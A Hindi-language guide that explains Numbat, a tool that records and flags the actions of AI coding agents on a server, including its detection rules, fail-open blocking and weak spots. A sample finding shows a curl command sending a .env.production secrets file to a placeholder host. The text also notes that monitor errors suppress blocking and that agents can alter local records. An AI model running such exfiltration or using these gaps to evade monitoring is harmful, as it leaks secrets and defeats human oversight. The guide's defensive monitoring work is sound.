SSD Nodes Learn 🎉 VPS $4.99/माह से
गाइड Matt Connorलेखक: Matt Connor · अपडेट किया गया: 2026-08-13

Numbat क्या है और AI agents को कैसे ट्रैक करें

Perplexity के open source tool Numbat के बारे में जानें। यह आपके सर्वर पर AI coding agents की गतिविधियों को ट्रैक करता है और संदिग्ध कमांड्स पर अलर्ट देता है।

Numbat क्या है

Numbat आपको यह visibility देता है कि आपके द्वारा नियंत्रित मशीन पर किसी AI agent ने क्या किया है। यह उन hook callbacks और session files को पढ़ता है जिन्हें coding agents पहले से ही generate करते हैं, उन्हें एक समान event format में normalise करता है, और उनका मिलान उन rules से करता है जो SSH private key पढ़ने या किसी download को सीधे shell में pipe करने जैसे व्यवहार पर trigger होते हैं। Perplexity ने इसे Apache 2.0 के तहत open source के रूप में release किया है, जिसका पहला tagged release 29 July 2026 को आया था।

नीचे दी गई सभी जानकारी project के repository और उसके documentation से ली गई है, जिसे 2 August 2026 को पढ़ा गया था। जहाँ Perplexity कोई दावा करती है, यह पोस्ट उसे स्पष्ट करती है। यह कोई install tutorial नहीं है, क्योंकि repository अभी कुछ ही दिन पुरानी है और इसके commands में बदलाव होते रहेंगे।

समस्या: किसी को यह नहीं पता होता कि एजेंट ने क्या किया

आपके VPS पर चलने वाला एक कोडिंग एजेंट shell commands चलाता है, फाइलें पढ़ता है, फाइलें लिखता है और network connections खोलता है। यह सब उसी user के रूप में होता है जिसे आपने उसे सौंपा है। आपकी shell history में इनमें से कुछ भी रिकॉर्ड नहीं होता, क्योंकि एजेंट आपकी shell में टाइप नहीं कर रहा है। sshd केवल आपके login को लॉग करता है और उसके बाद मॉडल द्वारा लिए गए किसी भी निर्णय को नहीं। /var/log/auth.log तब तक शांत रहता है जब तक कि कोई चीज़ sudo तक न पहुँच जाए। एजेंट अपनी खुद की transcript रखता है, लेकिन वह फाइल एजेंट की session directory में होती है, उसका फॉर्मेट software releases के बीच बदलता रहता है, और एजेंट की अपनी process उसमें लिख सकती है।

इसलिए जब कोई पूछता है कि क्या एजेंट ने पिछले मंगलवार को .env.production पढ़ा था, तो अधिकांश सर्वरों पर इसका ईमानदार जवाब यह है कि आप यह नहीं बता सकते। यही कमी इस प्रोजेक्ट के अस्तित्व का कारण है।

Perplexity का Numbat के बारे में क्या दावा है

README इस टूल को "AI एजेंट गतिविधि की एंडपॉइंट विजिबिलिटी, लोकल डिटेक्शन, वैकल्पिक प्री-एक्शन ब्लॉकिंग और फॉरेंसिक रिकंस्ट्रक्शन" के रूप में वर्णित करता है। यहाँ एंडपॉइंट का अर्थ वह मशीन है जिस पर एजेंट चलता है, न कि बाहर से निगरानी करने वाला कोई नेटवर्क उपकरण। ये अलग-अलग क्षमताएं हैं और इनका महत्व भी अलग है।

डिटेक्शन डिवाइस पर ही चलता है। नियम CEL (common expression language) में लिखे जाते हैं और स्थानीय स्तर पर मूल्यांकित किए जाते हैं, जिसमें मल्टी-स्टेप सीक्वेंस रूल्स और YAML में अपने स्वयं के नियम जोड़ने का समर्थन शामिल है। किसी नियम के सक्रिय होने के लिए मशीन से कुछ भी बाहर भेजने की आवश्यकता नहीं होती है।

ब्लॉकिंग वैकल्पिक और सीमित है। यह केवल सिंक्रोनस प्री-एक्शन हुक के माध्यम से काम करती है, उन एजेंटों पर जो इसे सपोर्ट करते हैं, और यह तब तक बंद रहती है जब तक आप इसे चालू नहीं करते।

रिकंस्ट्रक्शन घटना के बाद होता है। numbat scan उन सेशन आर्टिफैक्ट्स को पार्स करता है जिन्हें एजेंट पहले ही डिस्क पर लिख चुका है, ताकि आप कुछ भी इंस्टॉल करने से पहले की गतिविधि देख सकें। प्रोजेक्ट इस दावे को सीमित रखने के प्रति सतर्क है: "एट-रेस्ट रिकंस्ट्रक्शन डिस्क या मेमोरी एक्विजिशन नहीं है और यह उस गतिविधि को रिकवर नहीं कर सकता जिसे एजेंट ने परसिस्ट नहीं किया है।"

आउटपुट वर्शन्ड NDJSON (newline delimited JSON) है जो इवेंट्स, फाइंडिंग्स, एनफोर्समेंट डिसीजन्स, इंडिकेटर्स और स्कैन समरी को कवर करता है, जो v0.1.2 के अनुसार स्कीमा वर्शन 0.2.0 पर है। रिकॉर्ड्स stdout या लोकल फाइल में जाते हैं, और वैकल्पिक रूप से HTTP के माध्यम से आपके द्वारा चलाए जा रहे कलेक्टर पर भेजे जा सकते हैं। यह macOS, Linux और Windows के लिए amd64 और arm64 पर बिना cgo के बिल्ड की गई एक सिंगल स्टैटिक Go बाइनरी के रूप में आता है, इसलिए Linux VPS पर यह बिना किसी रनटाइम को पहले इंस्टॉल किए एक सिंगल फाइल के रूप में चलता है।

Numbat वास्तव में किन agents को देख सकता है?

docs/agent-coverage.md में दी गई coverage matrix आधिकारिक सूची है, और यह असमान है। प्रोजेक्ट इसे छिपाने के बजाय स्पष्ट रूप से बताता है। Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और pre-action hook के साथ live capture, दोनों की सुविधा है। OpenClaw को version 2026.7.1 से एक native plugin मिलता है। कई entries को deferred के रूप में चिह्नित किया गया है, जिसका अर्थ है कि live hook path तो मौजूद है लेकिन artifact parser नहीं है। ऐसा अक्सर इसलिए होता है क्योंकि वह agent अपना history SQLite में एक write-ahead log के साथ store करता है, जिसे agent के चलते समय पढ़ना सुरक्षित नहीं है। 2 अगस्त 2026 को जब matrix देखी गई थी, तब OpenCode और Cline इसी समूह में थे।

इस tool के साथ कोई भी योजना बनाने से पहले अपने agent के लिए row की जाँच करें, क्योंकि "supported" का अर्थ लगभग हर line पर अलग होता है।

डिटेक्शन कैसा दिखता है

Rules में ids होती हैं जो बताती हैं कि वे किस उद्देश्य के लिए हैं। secrets.read_private_key में SSH key, AWS credentials, kube config या package registry login शामिल हैं। exec.download_pipe_shell तब ट्रिगर होता है जब curl या wget का आउटपुट किसी interpreter में पाइप किया जाता है। privilege.elevated_shell, sudo, doas, su या pkexec के माध्यम से interactive root shell के अनुरोध को पकड़ता है। impact.cryptomining_launch ज्ञात miner binaries और image names से मेल खाता है।

Sequence rules एक ही session के भीतर events को जोड़ते हैं। chain.secret_read_then_egress के लिए एक secret file को पढ़ना और उसके बाद डेटा को बाहर भेजने वाली एक command का चलना आवश्यक है। README नीचे दिए गए निष्कर्ष को दो Claude Code pre-action callbacks के नियंत्रित रिप्ले से प्रकाशित करता है, न कि किसी वास्तविक incident से। इसे यहाँ केवल महत्वपूर्ण fields तक सीमित रखा गया है:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

रिकॉर्ड के भीतर मौजूद "confidence": "medium" पर ध्यान दें, और इस बात पर गौर करें कि प्रोजेक्ट आउटपुट के इस पूरे वर्ग के बारे में क्या कहता है: "Findings नियम के मिलान हैं, न कि compromise का प्रमाण।" एक deploy script जो एक key को पढ़ती है और फिर एक build artifact अपलोड करती है, वह उसी sequence rule से मेल खाएगी। मिलान सही है और अलार्म गलत है, जो आपके द्वारा चलाए गए हर डिटेक्शन टूल की सामान्य स्थिति है।

Blocking डिफ़ॉल्ट रूप से बंद है, और यह fail-open मोड में काम करता है

Numbat द्वारा प्रदान किया गया प्रत्येक नियम केवल monitor मोड में होता है। किसी नियम को block मोड में बदलना एक जानबूझकर किया गया कार्य है: नियम के पूर्ण YAML को अपनी डायरेक्टरी में कॉपी करें, समान id बनाए रखें, enforce: true जोड़ें, version को बढ़ाएं, और फिर उस policy को validate करके install करें।

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

अब उस हिस्से पर आते हैं जो यह तय करता है कि आपको इस पर कितना भरोसा करना चाहिए। Numbat का deny एक response है जो agent को वापस भेजा जाता है, और agent ही वह घटक है जो वास्तव में tool call को अस्वीकार करता है। enforcement guide इस बारे में स्पष्ट है कि जब Numbat में कोई समस्या आती है तो क्या होता है: "Malformed payloads, relevant evaluation errors, panics, और output failures, numbat deny को दबा देते हैं।" Hook input की सीमा 4 MiB है, और इससे बड़े input के साथ भी यही प्रक्रिया अपनाई जाती है।

यह guide उस deny की सीमा के बारे में भी समान रूप से स्पष्ट है जो सफलतापूर्वक लागू होता है: "Fail-open का अर्थ है कि numbat अपना deny response नहीं भेजता है। यह इस बात की गारंटी नहीं देता है कि tool execute होगा: host अभी भी prompt कर सकता है, deny कर सकता है, time out हो सकता है, या कोई अन्य hook या policy लागू कर सकता है।"

इसलिए, यहाँ enforcement एक guardrail है, न कि कोई boundary। यदि process क्रैश हो जाती है, तो Numbat द्वारा action को block नहीं किया जाता है, क्योंकि जो monitor आपके agent को हर बार समस्या आने पर freeze कर देता है, उसे एक सप्ताह के भीतर uninstall कर दिया जाएगा। यह समझौता उचित है। बस ऐसा security model न बनाएं जो यह मान ले कि deny हमेशा प्राप्त होगा।

Numbat आपके मौजूदा कार्यों के साथ कैसे फिट बैठता है

Numbat एंडपॉइंट पर, एजेंट के अपने प्रोसेस ट्री के अंदर चलता है, और डिफ़ॉल्ट रूप से ~/.numbat/records.ndjson में लिखता है। आपके उपयोगकर्ता के रूप में चलने वाला एजेंट उस फ़ाइल को पढ़ सकता है। वह उसे संपादित भी कर सकता है। ऑडिट ट्रेल का मूल्य उतना ही है जितनी उसके चारों ओर की आइसोलेशन (अलगाव), जो आपके पास मौजूद हर नियंत्रण को इसके पीछे रखने के बजाय इसके सामने रखता है।

कोडिंग एजेंट को एक डिस्पोजेबल VM देना यह सीमित करता है कि एक खराब रन कहाँ तक पहुँच सकता है। VPS पर एक लीस्ट प्रिविलेज उपयोगकर्ता एजेंट को उन फ़ाइलों से दूर रखता है जिन्हें खोलने का उसका कोई काम नहीं है। एजेंट के कॉन्टेक्स्ट से क्रेडेंशियल्स को बाहर रखना ही वह चीज़ है जो secrets.read_private_key मैच को इतना दुर्लभ बनाती है कि ट्रिगर होने पर उसे पढ़ना सार्थक हो जाता है। और VPS पर Claude Code के लिए आपके द्वारा सेट किया गया सैंडबॉक्स अभी भी वही चीज़ है जो कंटेनमेंट (नियंत्रण) कर रही है। कंटेनमेंट यह सीमित करता है कि एक खराब रन क्या छू सकता है, जबकि कोड जिस तरह से आकार लिया गया है उसका कारण लिखना इस बात को कम करता है कि एजेंट कितनी बार कुछ ऐसा आश्चर्यजनक करता है जो आपको लॉग देखने के लिए मजबूर करे।

Numbat जो जोड़ता है वह रिकॉर्ड है, इसलिए रिकॉर्ड को कहीं ऐसी जगह भेजें जहाँ एजेंट पहुँच न सके। numbat ship और HTTP सिंक इसी उद्देश्य के लिए मौजूद हैं। दूसरी मशीन पर स्ट्रीम की एक कॉपी होना ही लॉग फ़ाइल और सबूत के बीच का अंतर है। इवेंट मॉडल में MCP (मॉडल कॉन्टेक्स्ट प्रोटोकॉल) फ़ील्ड भी होते हैं, इसलिए VPS पर आपके द्वारा होस्ट किए गए MCP सर्वर के माध्यम से बाहर जाने वाली टूल कॉल उसी स्ट्रीम में आती हैं जहाँ लोकल शेल कमांड्स आती हैं। यह महत्वपूर्ण है क्योंकि वह रास्ता केवल bash पर नज़र रखने वाली किसी भी चीज़ के लिए अदृश्य होता है। यही ब्लाइंड स्पॉट एजेंट के सर्च बैकएंड के रूप में जुड़े SearXNG इंस्टेंस को भी कवर करता है, जहाँ जोखिम मॉडल के कॉन्टेक्स्ट में जाने वाले अविश्वसनीय पेज टेक्स्ट के रूप में आता है, न कि किसी ऐसे कमांड के रूप में जिसे कोई नियम मैच कर सके।

पहले read-only मोड में प्रयास करें

एक pinned version इंस्टॉल करें। go install के लिए Go 1.26.5 या उससे नया वर्शन आवश्यक है, और यदि आप source से build नहीं करना चाहते हैं, तो releases पेज पर SHA-256 checksums के साथ prebuilt binaries उपलब्ध हैं।

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents बॉक्स पर इंस्टॉल किए गए agents को खोजता है। numbat scan डिस्क पर पहले से मौजूद session artifacts को पार्स करता है और रिकॉर्ड प्रिंट करता है। README में लिखा है कि ये कमांड्स "hooks इंस्टॉल नहीं करते हैं और न ही agent configuration बदलते हैं", और numbat "artifacts में मिले agents या कमांड्स को कभी execute नहीं करता है, और यह केवल कॉन्फ़िगर किए गए HTTP sinks को ही outbound requests भेजता है"। स्कैनिंग secret redaction के साथ read-only होती है, और सामान्य रिकॉर्ड आउटपुट में कभी भी पूरा raw transcript शामिल नहीं होता है।

Live capture अगला चरण है, और यह वास्तव में agent configuration को बदलता है:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events, findings, indicators और लागू होने वाले enforcement decisions को ~/.numbat/records.ndjson में लिखता है। प्रोजेक्ट की ओर से दो सावधानियां सीधे दी गई हैं। Hooks को चलने से पहले agent के भीतर trusted होना पड़ सकता है, और --enforce जैसे flags बदलने के बाद उस trust की दोबारा समीक्षा की जानी चाहिए। और hook status "configuration को verify करता है, execution या delivery को नहीं", इसलिए एक healthy status line इस बात का प्रमाण नहीं है कि रिकॉर्ड कहीं पहुँच रहे हैं।

यह नया रिपॉजिटरी एक dependency क्यों नहीं है

Public releases v0.1.1 (29 जुलाई 2026) और v0.1.2 (1 अगस्त 2026) हैं। 2 अगस्त 2026 को यह पोस्ट लिखे जाने के समय रिपॉजिटरी में 597 stars थे। इतनी तेजी से बढ़ती संख्या Perplexity के audience को दर्शाती है, न कि इस बात को कि कोड कितना स्थिर है। एक star का मतलब है कि किसी ने बाद में देखने के लिए पेज को save किया है।

Version number ईमानदारी से बताता है कि यह अभी किस चरण में है। v0.1.2 के notes मुख्य रूप से credential redaction fixes, case bundle और telemetry normalisation के काम से संबंधित हैं। Redaction bugs ऐसे टूल में शुरुआती खामियों का अपेक्षित स्वरूप हैं, जिसका काम अन्य प्रोग्राम्स के transcripts को सुरक्षित रूप से पढ़ना है। इसमें अभी और भी bugs आएंगे, क्योंकि inputs एक दर्जन agents से आते हैं जो अपने-अपने schedule पर अपना format बदलते रहते हैं।

इसके परिणामस्वरूप दो व्यावहारिक नियम लागू होते हैं। किसी भी ऐसी चीज़ में जिसे आप बनाए रखते हैं, हमेशा tag को pin करें, कभी भी @latest का उपयोग न करें। और इसे एक ऐसे उपकरण के रूप में मानें जिसका आप मूल्यांकन कर रहे हैं, न कि ऐसी चीज़ जिस पर आप निर्भर हैं, कम से कम तब तक जब तक कि record schema में बदलाव होना बंद न हो जाए।

FAQ

क्या Numbat खतरनाक AI agent commands को रोकता है?

केवल तभी, यदि आप इसे चुनते हैं (opt-in), और वह भी सर्वोत्तम प्रयास (best effort) के आधार पर। Numbat के साथ आने वाला हर rule केवल monitor करने के लिए होता है। रोकने (block) के लिए, आपको rule की YAML को अपनी directory में कॉपी करना होगा, उसका id बनाए रखना होगा, enforce: true जोड़ना होगा, version बढ़ाना होगा और --enforce के साथ hook install करना होगा। तब भी, deny एक response है जिसे agent को वापस भेजा जाता है, और agent ही वह है जो call को अस्वीकार करता है। यह project fail-open व्यवहार का दस्तावेजीकरण करता है: malformed payloads, evaluation errors, panics और output failures, सभी deny को दबा देते हैं। इसे एक guardrail के रूप में उपयोग करें, न कि अपनी एकमात्र सीमा (boundary) के रूप में।

Numbat किन AI agents को support करता है?

coverage हर agent के लिए अलग है और repository में docs/agent-coverage.md में सूचीबद्ध है। 2 अगस्त 2026 को जब वह पृष्ठ पढ़ा गया था, तब Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और live capture दोनों उपलब्ध थे, और OpenClaw में version 2026.7.1 से native plugin है। कई अन्य agents को live hook path के साथ सूचीबद्ध किया गया है लेकिन अभी तक कोई artifact parser नहीं है, आमतौर पर इसलिए क्योंकि उनका session history एक SQLite database में होता है जिसे agent के चलने के दौरान पढ़ना सुरक्षित नहीं है। अपने agent के लिए row पढ़ें, क्योंकि "supported" शब्द वहाँ कई अलग-अलग स्तरों को कवर करता है।

क्या agent Numbat के records के साथ छेड़छाड़ कर सकता है?

हाँ, यदि वह उसी user के रूप में चलता है। records डिफ़ॉल्ट रूप से उसी machine पर ~/.numbat/records.ndjson में होते हैं जहाँ agent चलता है, इसलिए उस path पर write access रखने वाली कोई भी चीज़ उन्हें बदल या हटा सकती है। stream को एक ऐसे collector तक भेजें (ship करें) जहाँ तक agent न पहुँच सके, इसके लिए numbat ship या HTTP sink का उपयोग करें, और local file को केवल सुविधा के लिए एक copy के रूप में रखें। यही कारण है कि यह tool isolation का पूरक है, न कि उसका विकल्प। एक disposable VM में least privilege user के तहत सीमित agent की अपनी audit trail तक पहुँच बहुत कम होती है।

क्या Numbat production server के लिए तैयार है?

उस control के रूप में नहीं जिस पर आप निर्भर हैं। पहला public release 29 जुलाई 2026 को v0.1.1 था और 1 अगस्त 2026 को v0.1.2 आया, इसलिए flags और record schema दोनों अभी भी बदल रहे हैं। किसी box पर numbat agents और numbat scan चलाना read-only है और इसमें जोखिम कम है, और यह आपको बताएगा कि आपके agents ने disk पर क्या छोड़ा है। महत्वपूर्ण server पर enforcement hooks install करना एक अलग निर्णय है, और इसके लिए एक pinned tag और इस बात की योजना होनी चाहिए कि hook के गलत व्यवहार करने पर क्या होगा।